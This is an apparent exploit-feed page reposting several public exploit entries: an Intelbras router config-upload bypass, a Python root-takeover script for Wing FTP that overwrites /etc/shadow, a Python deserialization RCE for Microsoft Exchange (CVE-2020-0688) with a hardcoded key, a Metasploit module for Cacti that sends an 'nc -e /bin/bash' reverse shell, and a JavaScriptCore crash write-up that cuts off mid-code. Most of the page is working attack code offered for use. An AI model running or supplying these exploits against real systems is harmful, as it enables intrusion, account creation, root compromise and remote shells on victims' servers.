Quantcast
Channel: Exploit Collector
Viewing all 13315 articles
Browse latest View live

Intelbras Wireless N 150Mbps WRN240 Authentication Bypass

$
0
0

Intelbras Wireless N 150Mbps WRN240 suffers from a configuration upload authentication bypass vulnerability.


MD5 | 08f181f9560eb9e4a94a4d1854dc1d20

# Exploit Title: Intelbras Wireless N 150Mbps WRN240 - Authentication Bypass (Config Upload)
# Date: 2019-11-20
# Exploit Author: Elber Tavares
# Vendor Homepage: https://www.intelbras.com/
# Software Link: http://en.intelbras.com.br/node/1033
# Version: Intelbras Wireless N 150Mbps - WRN240
# Tested on: linux, windows
# CVE: CVE-2019-19142

Intelbras WRN240 devices do not require authentication to replace the
firmware via a POST request to the incoming/Firmware.cfg URI.

REFS:
https://fireshellsecurity.team/hack-n-routers/
https://github.com/ElberTavares/routers-exploit/


Poc:
curl -i -X POST -H "Content-Type: multipart/form-data" -H "Referer:
http://192.168.0.1/userRpm/BakNRestoreRpm.htm" -F data=@config.bin
http://192.1680.1/incoming/RouterBakCfgUpload.cfg


Wing FTP Server 6.2.3 Privilege Escalation

$
0
0

Wing FTP Server version 6.2.3 suffers from a privilege escalation vulnerability.


MD5 | 55e0bd61fc7c43fec8d097e8ee28ba40

# Exploit Title: Wing FTP Server 6.2.3 - Privilege Escalation
# Google Dork: intitle:"Wing FTP Server - Web"
# Date: 2020-03-02
# Exploit Author: Cary Hooper
# Vendor Homepage: https://www.wftpserver.com
# Software Link: https://www.wftpserver.com/download/wftpserver-linux-64bit.tar.gz
# Version: v6.2.3
# Tested on: Ubuntu 18.04, Kali Linux 4, MacOS Catalina, Solaris 11.4 (x86)


# Given SSH access to a target machine with Wing FTP Server installed, this program:
# - SSH in, forges a FTP user account with full permissions (CVE-2020-8635)
# - Logs in to HTTP interface and then edits /etc/shadow (resulting in CVE-2020-8634)
# Each step can all be done manually with any kind of code execution on target (no SSH)
# To setup, start SSH service, then run ./wftpserver. Wing FTP services will start after a domain is created.
# https://www.hooperlabs.xyz/disclosures/cve-2020-8635.php (writeup)


#!/usr/bin/python3

#python3 cve-2020-8635.py -t 192.168.0.2:2222 -u lowleveluser -p demo --proxy http://127.0.0.1:8080

import paramiko,sys,warnings,requests,re,time,argparse
#Python warnings are the worst
warnings.filterwarnings("ignore")

#Argument handling begins
parser = argparse.ArgumentParser(description="Exploit for Wing FTP Server v6.2.3 Local Privilege Escalation",epilog=print(f"Exploit by @nopantrootdance."))
parser.add_argument("-t", "--target", help="hostname of target, optionally with port specified (hostname:port)",required=True)
parser.add_argument("-u", "--username", help="SSH username", required=True)
parser.add_argument("-p", "--password", help="SSH password", required=True)
parser.add_argument("-v", "--verbose", help="Turn on debug information", action='store_true')
parser.add_argument("--proxy", help="Send HTTP through a proxy",default=False)
args = parser.parse_args()

#Global Variables
global username
global password
global proxies
global port
global hostname
global DEBUG
username = args.username
password = args.password

#Turn on debug statements
if args.verbose:
DEBUG = True
else:
DEBUG = False

#Handle nonstandard SSH port
if ':' in args.target:
socket = args.target.split(':')
hostname = socket[0]
port = socket[1]
else:
hostname = args.target
port = "22"

#Prepare proxy dict (for Python requests)
if args.proxy:
if ("http://" not in args.proxy) and ("https://" not in args.proxy):
print(f"[!] Invalid proxy. Proxy must have http:// or https:// {proxy}")
sys.exit(1)
proxies = {'http':args.proxy,'https':args.proxy}
else:
proxies = {}
#Argument handling ends

#This is what a <username>.xml file looks like.
#Gives full permission to user (h00p:h00p) for entire filesystem '/'.
#Located in $_WFTPROOT/Data/Users/
evilUserXML = """<?xml version="1.0" ?>
<USER_ACCOUNTS Description="Wing FTP Server User Accounts">
<USER>
<UserName>h00p</UserName>
<EnableAccount>1</EnableAccount>
<EnablePassword>1</EnablePassword>
<Password>d28f47c0483d392ca2713fe7e6f54089</Password>
<ProtocolType>63</ProtocolType>
<EnableExpire>0</EnableExpire>
<ExpireTime>2020-02-25 18:27:07</ExpireTime>
<MaxDownloadSpeedPerSession>0</MaxDownloadSpeedPerSession>
<MaxUploadSpeedPerSession>0</MaxUploadSpeedPerSession>
<MaxDownloadSpeedPerUser>0</MaxDownloadSpeedPerUser>
<MaxUploadSpeedPerUser>0</MaxUploadSpeedPerUser>
<SessionNoCommandTimeOut>5</SessionNoCommandTimeOut>
<SessionNoTransferTimeOut>5</SessionNoTransferTimeOut>
<MaxConnection>0</MaxConnection>
<ConnectionPerIp>0</ConnectionPerIp>
<PasswordLength>0</PasswordLength>
<ShowHiddenFile>0</ShowHiddenFile>
<CanChangePassword>0</CanChangePassword>
<CanSendMessageToServer>0</CanSendMessageToServer>
<EnableSSHPublicKeyAuth>0</EnableSSHPublicKeyAuth>
<SSHPublicKeyPath></SSHPublicKeyPath>
<SSHAuthMethod>0</SSHAuthMethod>
<EnableWeblink>1</EnableWeblink>
<EnableUplink>1</EnableUplink>
<CurrentCredit>0</CurrentCredit>
<RatioDownload>1</RatioDownload>
<RatioUpload>1</RatioUpload>
<RatioCountMethod>0</RatioCountMethod>
<EnableRatio>0</EnableRatio>
<MaxQuota>0</MaxQuota>
<CurrentQuota>0</CurrentQuota>
<EnableQuota>0</EnableQuota>
<NotesName></NotesName>
<NotesAddress></NotesAddress>
<NotesZipCode></NotesZipCode>
<NotesPhone></NotesPhone>
<NotesFax></NotesFax>
<NotesEmail></NotesEmail>
<NotesMemo></NotesMemo>
<EnableUploadLimit>0</EnableUploadLimit>
<CurLimitUploadSize>0</CurLimitUploadSize>
<MaxLimitUploadSize>0</MaxLimitUploadSize>
<EnableDownloadLimit>0</EnableDownloadLimit>
<CurLimitDownloadLimit>0</CurLimitDownloadLimit>
<MaxLimitDownloadLimit>0</MaxLimitDownloadLimit>
<LimitResetType>0</LimitResetType>
<LimitResetTime>1580092048</LimitResetTime>
<TotalReceivedBytes>0</TotalReceivedBytes>
<TotalSentBytes>0</TotalSentBytes>
<LoginCount>0</LoginCount>
<FileDownload>0</FileDownload>
<FileUpload>0</FileUpload>
<FailedDownload>0</FailedDownload>
<FailedUpload>0</FailedUpload>
<LastLoginIp></LastLoginIp>
<LastLoginTime>2020-01-26 18:27:28</LastLoginTime>
<EnableSchedule>0</EnableSchedule>
<Folder>
<Path>/</Path>
<Alias>/</Alias>
<Home_Dir>1</Home_Dir>
<File_Read>1</File_Read>
<File_Write>1</File_Write>
<File_Append>1</File_Append>
<File_Delete>1</File_Delete>
<Directory_List>1</Directory_List>
<Directory_Rename>1</Directory_Rename>
<Directory_Make>1</Directory_Make>
<Directory_Delete>1</Directory_Delete>
<File_Rename>1</File_Rename>
<Zip_File>1</Zip_File>
<Unzip_File>1</Unzip_File>
</Folder>
</USER>
</USER_ACCOUNTS>
"""

#Verbosity function.
def log(string):
if DEBUG != False:
print(string)

#Checks to see which URL is hosting Wing FTP
#Returns a URL, probably. HTTPS preferred. empty url is checked in main()
def checkHTTP(hostname):
protocols= ["http://","https://"]
for protocol in protocols:
try:
log(f"Testing HTTP service {protocol}{hostname}")
response = requests.get(protocol + hostname, verify=False, proxies=proxies)
try:
#Server: Wing FTP Server
if "Wing FTP Server" in response.headers['Server']:
print(f"[!] Wing FTP Server found at {protocol}{hostname}")
url = protocol + hostname
except:
print("")
except Exception as e:
print(f"[*] Server is not running Wing FTP web services on {protocol}: {e}")
return url

#Log in to the HTTP interface. Returns cookie
def getCookie(url,webuser,webpass,headers):
log("getCookie")
loginURL = f"{url}/loginok.html"
data = {"username": webuser, "password": webpass, "username_val": webuser, "remember": "true", "password_val": webpass, "submit_btn": " Login "}
response = requests.post(loginURL, headers=headers, data=data, verify=False, proxies=proxies)
ftpCookie = response.headers['Set-Cookie'].split(';')[0]
print(f"[!] Successfully logged in! Cookie is {ftpCookie}")
cookies = {"UID":ftpCookie.split('=')[1]}
log("return getCookie")
return cookies

#Change directory within the web interface.
#The actual POST request changes state. We keep track of that state in the returned directorymem array.
def chDir(url,directory,headers,cookies,directorymem):
log("chDir")
data = {"dir": directory}
print(f"[*] Changing directory to {directory}")
chdirURL = f"{url}/chdir.html"
requests.post(chdirURL, headers=headers, cookies=cookies, data=data, verify=False, proxies=proxies)
log(f"Directorymem is nonempty. --> {directorymem}")
log("return chDir")
directorymem = directorymem + "|" + directory
return directorymem

#The application has a silly way of keeping track of paths.
#This function returns the current path as dirstring.
def prepareStupidDirectoryString(directorymem,delimiter):
log("prepareStupidDirectoryString")
dirstring = ""
directoryarray = directorymem.split('|')
log(f"directoryarray is {directoryarray}")
for item in directoryarray:
if item != "":
dirstring += delimiter + item
log("return prepareStupidDirectoryString")
return dirstring

#Downloads a given file from the server. By default, it runs as root.
#Returns the content of the file as a string.
def downloadFile(file,url,headers,cookies,directorymem):
log("downloadFile")
print(f"[*] Downloading the {file} file...")
dirstring = prepareStupidDirectoryString(directorymem,"$2f") #Why wouldn't you URL-encode?!
log(f"directorymem is {directorymem} and dirstring is {dirstring}")
editURL = f"{url}/editor.html?dir={dirstring}&filename={file}&r=0.88304407485768"
response = requests.get(editURL, cookies=cookies, verify=False, proxies=proxies)
filecontent = re.findall(r'<textarea id="textedit" style="height:520px; width:100%;">(.*?)</textarea>',response.text,re.DOTALL)[0]
log(f"downloaded file is: {filecontent}")
log("return downloadFile")
return filecontent,editURL

#Saves a given file to the server (or overwrites one). By default it saves a file with
#644 permission owned by root.
def saveFile(newfilecontent,file,url,headers,cookies,referer,directorymem):
log("saveFile")
log(f"Directorymem is {directorymem}")
saveURL = f"{url}/savefile.html"
headers = {"Content-Type": "text/plain;charset=UTF-8", "Referer": referer}
dirstring = prepareStupidDirectoryString(directorymem,"/")
log(f"Stupid Directory string is {dirstring}")
data = {"charcode": "0", "dir": dirstring, "filename": file, "filecontent": newfilecontent}
requests.post(saveURL, headers=headers, cookies=cookies, data=data, verify=False)
log("return saveFile")

#Other methods may be more stable, but this works.
#"You can't argue with a root shell" - FX
#Let me know if you know of other ways to increase privilege by overwriting or creating files. Another way is to overwrite
#the Wing FTP admin file, then leverage the lua interpreter in the administrative interface which runs as root (YMMV).
#Mind that in this version of Wing FTP, files will be saved with umask 111. This makes changing /etc/sudoers infeasible.

#This routine overwrites the shadow file
def overwriteShadow(url):
log("overwriteShadow")
headers = {"Content-Type": "application/x-www-form-urlencoded"}
#Grab cookie from server.
cookies = getCookie(url=url,webuser="h00p",webpass="h00p",headers=headers)

#Chdir a few times, starting in the user's home directory until we arrive at the target folder
directorymem = chDir(url=url,directory="etc",headers=headers,cookies=cookies,directorymem="")

#Download the target file.
shadowfile,referer = downloadFile(file="shadow",url=url,headers=headers,cookies=cookies,directorymem=directorymem)

# openssl passwd -1 -salt h00ph00p h00ph00p
rootpass = "$1$h00ph00p$0cUgaHnnAEvQcbS6PCMVM0"
rootpass = "root:" + rootpass + ":18273:0:99999:7:::"

#Create new shadow file with different root password & save
newshadow = re.sub("root(.*):::",rootpass,shadowfile)
print("[*] Swapped the password hash...")
saveFile(newfilecontent=newshadow,file="shadow",url=url,headers=headers,cookies=cookies,referer=referer,directorymem=directorymem)
print("[*] Saved the forged shadow file...")
log("exit overwriteShadow")

def main():
log("main")
try:
#Create ssh connection to target with paramiko
client = paramiko.SSHClient()
client.load_system_host_keys()
client.set_missing_host_key_policy(paramiko.WarningPolicy)
try:
client.connect(hostname, port=port, username=username, password=password)
except:
print(f"Failed to connect to {hostname}:{port} as user {username}.")

#Find wftpserver directory
print(f"[*] Searching for Wing FTP root directory. (this may take a few seconds...)")
stdin, stdout, stderr = client.exec_command("find / -type f -name 'wftpserver'")
wftpDir = stdout.read().decode("utf-8").split('\n')[0].rsplit('/',1)[0]
print(f"[!] Found Wing FTP directory: {wftpDir}")
#Find name of <domain>
stdin, stdout, stderr = client.exec_command(f"find {wftpDir}/Data/ -type d -maxdepth 1")
lsresult = stdout.read().decode("utf-8").split('\n')
#Checking if wftpserver is actually configured. If you're using this script, it probably is.
print(f"[*] Determining if the server has been configured.")
domains = []
for item in lsresult[:-1]:
item = item.rsplit('/',1)[1]
if item !="_ADMINISTRATOR" and item != "":
domains.append(item)
print(f"[!] Success. {len(domains)} domain(s) found! Choosing the first: {item}")
domain = domains[0]
#Check if the users folder exists
userpath = wftpDir + "/Data/" + domain
print(f"[*] Checking if users exist.")
stdin, stdout, stderr = client.exec_command(f"file {userpath}/users")
if "No such file or directory" in stdout.read().decode("utf-8"):
print(f"[*] Users directory does not exist. Creating folder /users")
#Create users folder
stdin, stdout, stderr = client.exec_command(f"mkdir {userpath}/users")
#Create user.xml file
print("[*] Forging evil user (h00p:h00p).")
stdin, stdout, stderr = client.exec_command(f"echo '{evilUserXML}'> {userpath}/users/h00p.xml")
#Now we can log into the FTP web app with h00p:h00p

url = checkHTTP(hostname)
#Check that url isn't an empty string (and that its a valid URL)
if "http" not in url:
print(f"[!] Exiting... cannot access web interface.")
sys.exit(1)

#overwrite root password
try:
overwriteShadow(url)
print(f"[!] Overwrote root password to h00ph00p.")
except Exception as e:
print(f"[!] Error: cannot overwrite /etc/shadow: {e}")

#Check to make sure the exploit worked.
stdin, stdout, stderr = client.exec_command("cat /etc/shadow | grep root")
out = stdout.read().decode('utf-8')
err = stderr.read().decode('utf-8')

log(f"STDOUT - {out}")
log(f"STDERR - {err}")
if "root:$1$h00p" in out:
print(f"[*] Success! The root password has been successfully changed.")
print(f"\n\tssh {username}@{hostname} -p{port}")
print(f"\tThen: su root (password is h00ph00p)")
else:
print(f"[!] Something went wrong... SSH in to manually check /etc/shadow. Permissions may have been changed to 666.")

log("exit prepareServer")
finally:
client.close()

main()

Microsoft Exchange 2019 15.2.221.12 Remote Code Execution

$
0
0

Microsoft Exchange 2019 version 15.2.221.12 suffers from an authenticated remote code execution vulnerability.


MD5 | b2b86272dc81d9cb5dc7d3f7fcf5da05

# Exploit Title: Microsoft Exchange 2019 15.2.221.12 - Authenticated Remote Code Execution
# Date: 2020-02-28
# Exploit Author: Photubias
# Vendor Advisory: [1] https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0688
# [2] https://www.thezdi.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys
# Vendor Homepage: https://www.microsoft.com
# Version: MS Exchange Server 2010 SP3 up to 2019 CU4
# Tested on: MS Exchange 2019 v15.2.221.12 running on Windows Server 2019
# CVE: CVE-2020-0688

#! /usr/bin/env python
# -*- coding: utf-8 -*-
'''


Copyright 2020 Photubias(c)

This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.

File name CVE-2020-0688-Photubias.py
written by tijl[dot]deneut[at]howest[dot]be for www.ic4.be

This is a native implementation without requirements, written in Python 2.
Works equally well on Windows as Linux (as MacOS, probably ;-)
Reverse Engineered Serialization code from https://github.com/pwntester/ysoserial.net

Example Output:
CVE-2020-0688-Photubias.py -t https://10.11.12.13 -u sean -c "net user pwned pwned /add"
[+] Login worked
[+] Got ASP.NET Session ID: 83af2893-6e1c-4cee-88f8-b706ebc77570
[+] Detected OWA version number 15.2.221.12
[+] Vulnerable View State "B97B4E27" detected, this host is vulnerable!
[+] All looks OK, ready to send exploit (net user pwned pwned /add)? [Y/n]:
[+] Got Payload: /wEy0QYAAQAAAP////8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAADzBDxSZXNvdXJjZURpY3Rpb25hcnkNCiAgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiINCiAgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiDQogIHhtbG5zOlN5c3RlbT0iY2xyLW5hbWVzcGFjZTpTeXN0ZW07YXNzZW1ibHk9bXNjb3JsaWIiDQogIHhtbG5zOkRpYWc9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PXN5c3RlbSI+DQoJIDxPYmplY3REYXRhUHJvdmlkZXIgeDpLZXk9IkxhdW5jaENhbGMiIE9iamVjdFR5cGUgPSAieyB4OlR5cGUgRGlhZzpQcm9jZXNzfSIgTWV0aG9kTmFtZSA9ICJTdGFydCIgPg0KICAgICA8T2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnM+DQogICAgICAgIDxTeXN0ZW06U3RyaW5nPmNtZDwvU3lzdGVtOlN0cmluZz4NCiAgICAgICAgPFN5c3RlbTpTdHJpbmc+L2MgIm5ldCB1c2VyIHB3bmVkIHB3bmVkIC9hZGQiIDwvU3lzdGVtOlN0cmluZz4NCiAgICAgPC9PYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICA8L09iamVjdERhdGFQcm92aWRlcj4NCjwvUmVzb3VyY2VEaWN0aW9uYXJ5PgvjXlpQBwdP741icUH6Wivr7TlI6g==
Sending now ...
'''
import urllib2, urllib, base64, binascii, hashlib, hmac, struct, argparse, sys, cookielib, ssl, getpass

## STATIC STRINGS
# This string acts as a template for the serialization (contains "###payload###" to be replaced and TWO size locations)
strSerTemplate = base64.b64decode('/wEy2gYAAQAAAP////8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAAD8BDxSZXNvdXJjZURpY3Rpb25hcnkNCiAgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiINCiAgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiDQogIHhtbG5zOlN5c3RlbT0iY2xyLW5hbWVzcGFjZTpTeXN0ZW07YXNzZW1ibHk9bXNjb3JsaWIiDQogIHhtbG5zOkRpYWc9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PXN5c3RlbSI+DQoJIDxPYmplY3REYXRhUHJvdmlkZXIgeDpLZXk9IkxhdW5jaENhbGMiIE9iamVjdFR5cGUgPSAieyB4OlR5cGUgRGlhZzpQcm9jZXNzfSIgTWV0aG9kTmFtZSA9ICJTdGFydCIgPg0KICAgICA8T2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnM+DQogICAgICAgIDxTeXN0ZW06U3RyaW5nPmNtZDwvU3lzdGVtOlN0cmluZz4NCiAgICAgICAgPFN5c3RlbTpTdHJpbmc+L2MgIiMjI3BheWxvYWQjIyMiIDwvU3lzdGVtOlN0cmluZz4NCiAgICAgPC9PYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICA8L09iamVjdERhdGFQcm92aWRlcj4NCjwvUmVzb3VyY2VEaWN0aW9uYXJ5Pgs=')
# This is a key installed in the Exchange Server, it is changeable, but often not (part of the vulnerability)
strSerKey = binascii.unhexlify('CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF')

def convertInt(iInput, length):
return struct.pack("<I" , int(iInput)).encode('hex')[:length]

def getYsoserialPayload(sCommand, sSessionId):
## PART1 of the payload to hash
strPart1 = strSerTemplate.replace('###payload###', sCommand)
## Fix the length fields
#print(binascii.hexlify(strPart1[3]+strPart1[4])) ## 'da06'> '06da' (0x06b8 + len(sCommand))
#print(binascii.hexlify(strPart1[224]+strPart1[225])) ## 'fc04'> '04fc' (0x04da + len(sCommand))
strLength1 = convertInt(0x06b8 + len(sCommand),4)
strLength2 = convertInt(0x04da + len(sCommand),4)
strPart1 = strPart1[:3] + binascii.unhexlify(strLength1) + strPart1[5:]
strPart1 = strPart1[:224] + binascii.unhexlify(strLength2) + strPart1[226:]

## PART2 of the payload to hash
strPart2 = '274e7bb9'
for v in sSessionId: strPart2 += binascii.hexlify(v)+'00'
strPart2 = binascii.unhexlify(strPart2)

strMac = hmac.new(strSerKey, strPart1 + strPart2, hashlib.sha1).hexdigest()
strResult = base64.b64encode(strPart1 + binascii.unhexlify(strMac))
return strResult

def verifyLogin(sTarget, sUsername, sPassword, oOpener, oCookjar):
if not sTarget[-1:] == '/': sTarget += '/'
## Verify Login
lPostData = {'destination' : sTarget, 'flags' : '4', 'forcedownlevel' : '0', 'username' : sUsername, 'password' : sPassword, 'passwordText' : '', 'isUtf8' : '1'}
try: sResult = oOpener.open(urllib2.Request(sTarget + 'owa/auth.owa', data=urllib.urlencode(lPostData), headers={'User-Agent':'Python'})).read()
except: print('[!] Error, ' + sTarget + ' not reachable')
bLoggedIn = False
for cookie in oCookjar:
if cookie.name == 'cadata': bLoggedIn = True
if not bLoggedIn:
print('[-] Login Wrong, too bad')
exit(1)
print('[+] Login worked')

## Verify Session ID
sSessionId = ''
sResult = oOpener.open(urllib2.Request(sTarget+'ecp/default.aspx', headers={'User-Agent':'Python'})).read()
for cookie in oCookjar:
if 'SessionId' in cookie.name: sSessionId = cookie.value
print('[+] Got ASP.NET Session ID: ' + sSessionId)

## Verify OWA Version
sVersion = ''
try: sVersion = sResult.split('stylesheet')[0].split('href="')[1].split('/')[2]
except: sVersion = 'favicon'
if 'favicon' in sVersion:
print('[*] Problem, this user has never logged in before (wizard detected)')
print(' Please log in manually first at ' + sTarget + 'ecp/default.aspx')
exit(1)
print('[+] Detected OWA version number '+sVersion)

## Verify ViewStateValue
sViewState = ''
try: sViewState = sResult.split('__VIEWSTATEGENERATOR')[2].split('value="')[1].split('"')[0]
except: pass
if sViewState == 'B97B4E27':
print('[+] Vulnerable View State "B97B4E27" detected, this host is vulnerable!')
else:
print('[-] Error, viewstate wrong or not correctly parsed: '+sViewState)
ans = raw_input('[?] Still want to try the exploit? [y/N]: ')
if ans == '' or ans.lower() == 'n': exit(1)
return sSessionId, sTarget, sViewState

def main():
parser = argparse.ArgumentParser()
parser.add_argument('-t', '--target', help='Target IP or hostname (e.g. https://owa.contoso.com)', default='')
parser.add_argument('-u', '--username', help='Username (e.g. joe or joe@contoso.com)', default='')
parser.add_argument('-p', '--password', help='Password (leave empty to ask for it)', default='')
parser.add_argument('-c', '--command', help='Command to put behind "cmd /c " (e.g. net user pwned pwned /add)', default='')
args = parser.parse_args()
if args.target == '' or args.username == '' or args.command == '':
print('[!] Example usage: ')
print('' + sys.argv[0] + ' -t https://owa.contoso.com -u joe -c "net user pwned pwned /add"')
else:
if args.password == '': sPassword = getpass.getpass('[*] Please enter the password: ')
else: sPassword = args.password
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
oCookjar = cookielib.CookieJar()
#oProxy = urllib2.ProxyHandler({'http': '127.0.0.1:8080', 'https': '127.0.0.1:8080'})
#oOpener = urllib2.build_opener(urllib2.HTTPSHandler(context=ctx),urllib2.HTTPCookieProcessor(oCookjar),oProxy)
oOpener = urllib2.build_opener(urllib2.HTTPSHandler(context=ctx),urllib2.HTTPCookieProcessor(oCookjar))
sSessionId, sTarget, sViewState = verifyLogin(args.target, args.username, sPassword, oOpener, oCookjar)
ans = raw_input('[+] All looks OK, ready to send exploit (' + args.command + ')? [Y/n]: ')
if ans.lower() == 'n': exit(0)
sPayLoad = getYsoserialPayload(args.command, sSessionId)
print('[+] Got Payload: ' + sPayLoad)
sURL = sTarget + 'ecp/default.aspx?__VIEWSTATEGENERATOR=' + sViewState + '&__VIEWSTATE=' + urllib.quote_plus(sPayLoad)
print(' Sending now ...')
try: oOpener.open(urllib2.Request(sURL, headers={'User-Agent':'Python'}))
except urllib2.HTTPError, e:
if e.code == '500': print('[+] This probably worked (Error Code 500 received)')

if __name__ == "__main__":
main()

Cacti 1.2.8 Unauthenticated Remote Code Execution

$
0
0

graph_realtime.php in Cacti 1.2.8 allows remote attackers to execute arbitrary OS commands via shell metacharacters in a cookie if a guest user has the graph real-time privilege.


MD5 | e3413f767022b61c38a8008949f806d6

# Exploit Title: Cacti v1.2.8 - Unauthenticated Remote Code Execution (Metasploit)
# Date: 2020-02-29
# Exploit Author: Lucas Amorim (sh286)s
# CVE: CVE-2020-8813
# Vendor Homepage: https://cacti.net/
# Version: v1.2.8
# Tested on: Linux
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Cacti v1.2.8 Unauthenticated Remote Code Execution',
'Description' => %q{graph_realtime.php in Cacti 1.2.8 allows remote attackers to
execute arbitrary OS commands via shell metacharacters in a cookie, if a guest user has
the graph real-time privilege.},
'Author' =>
[
'Lucas Amorim ' # MSF module
],
'License' => MSF_LICENSE,
'Platform' => 'php',
'References' =>
[
['CVE', '2020-8813']
],
'DisclosureDate' => 'Feb 21 2020',
'Privileged' => true,
'DefaultOptions' => {
'PAYLOAD' => 'php/meterpreter/reverse_tcp',
'SSL' => true,
},
'Targets' => [
['Automatic', {}]
],
'DefaultTarget' => 0))

register_options(
[
Opt::RPORT(443),
OptString.new('RPATH', [ false, "path to cacti", "" ])
])

deregister_options('VHOST')
end

def check
res = send_request_raw(
'method' => 'GET',
'uri' => "#{datastore['RPATH']}/graph_realtime.php?action=init"
)

if res && res.code == 200
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
end

def send_payload()
exec_payload=(";nc${IFS}-e${IFS}/bin/bash${IFS}%s${IFS}%s" % [datastore['LHOST'], datastore['LPORT']])
send_request_raw(
'uri' => "#{datastore['RPATH']}/graph_realtime.php?action=init",
'method' => 'GET',
'cookie' => "Cacti=#{Rex::Text.uri_encode(exec_payload, mode = 'hex-normal')}"
)
end

def exploit
if check == Exploit::CheckCode::Vulnerable
print_good("Target seems to be a vulnerable")
send_payload()
else
print_error("Target does not seem to be vulnerable. Will exit now...")
end
end
end

JSC DFG ObjectAllocationSinkingPhase Crash

$
0
0

An issue in JSC leaves the data flow graph inconsistent. While fuzzing JavaScriptCore with fuzzilli, the researcher found a crash condition in JSC.


MD5 | 8ff3ad6a06cbb649d99f59f076aa906e

JSC: DFG: ObjectAllocationSinkingPhase leaves data flow graph inconsistent

While fuzzing JavaScriptCore with fuzzilli, I encountered the following (simplified and commented) JavaScript program which crashes jsc from current HEAD and the stable release:

function v9() {
const v14 = {};
const v15 = {a: 42};
v14.phantom = v15;

const v17 = [1];
v17.toString = [];
if (!v17) {
// On this path (which is never taking at runtime),
// v14 does not escape and thus becomes a sink candidate.
return 42;
}

// This seems to create the necessary control flow form
// to trigger the bug.
for (const v18 of \"asdf\") {
v14.b = 43;
}

// v19 will now be an edge to a PhantomAllocation.
const v19 = v14.phantom;

let r;
for (let i = 0; i < 2; i++) {
r = v19;
}

return r;
}

for (let v27 = 0; v27 < 100000; v27++) {
v9();
}

This sample crashes, in debug builds, with

At @23: validation failed: !edge->isPhantomAllocation() (../../Source/JavaScriptCore/dfg/DFGValidate.cpp:912).
...

indicating a graph inconsistency. In particular, a live operation node (in this case the Return) points to a PhantomObjectAllocation node, which is merely a placeholder indicating that an object allocation was removed as it isn't needed on every CFG path. This scenario should never happen. Instead, the user node (Return) should point to a Materialization node that does allocate (\"materialize\") the object on the paths on which it is needed.

The bug occurs in the ObjectAllocationSinkingPhase. This optimization attempts to compute sinking candidates (heap allocations that aren't needed on all CFG paths) by tracking all Allocations and Pointers to them with a specialized abstract interpreter. For example, after abstractly interpreting the first three lines of v9, there are now two Allocations (v14, v15) and three Pointers to them (v14 -> v14, v15 -> v15, v14.phantom -> v15). The abstract interpreter runs as a fixpoint iteration, each time traversing the entire graph in pre order [1] and merging the final state of a CFG block with the initial state of all its successor blocks. However, while the state merging function [2] appears to copy newly appeared Allocations to successor blocks, it does not appear to copy new Pointers to any successor blocks once they have been reached for the first time. In this case, that is a problem as the pointer v19 (pointing to v15) only \"appears\" during the second iteration. This is because the PutStructure operation that is required to \"get past\" the StructureCheck in front of the assignment to v19 is only executed at the very end of the first iteration due to the blocks scheduling. As such, in the final loop, v19 is not known to point to v15, and thus v15 is converted into a PhantomAllocation node without updating v19 to point to its Materialization, leading to the graph inconsistency.

This inconsistency can then lead to various problems later on, for example, the following slight variation of the above code causes JSC to incorrectly output \"false\" because the ConstantFolding pass gets confused by the references to PhantomAllocations and incorrectly replaces the CompareEq with the constant false:

function v9() {
const v14 = {};
const v15 = {a: 42};
v14.phantom = v15;

const v17 = [1];
v17.toString = [];
if (!v17) {
return 42;
}

for (const v18 of \"asdf\") {
v14.b = 43;
}

const v19 = v14.phantom;

let r;
for (let i = 0; i < 2; i++) {
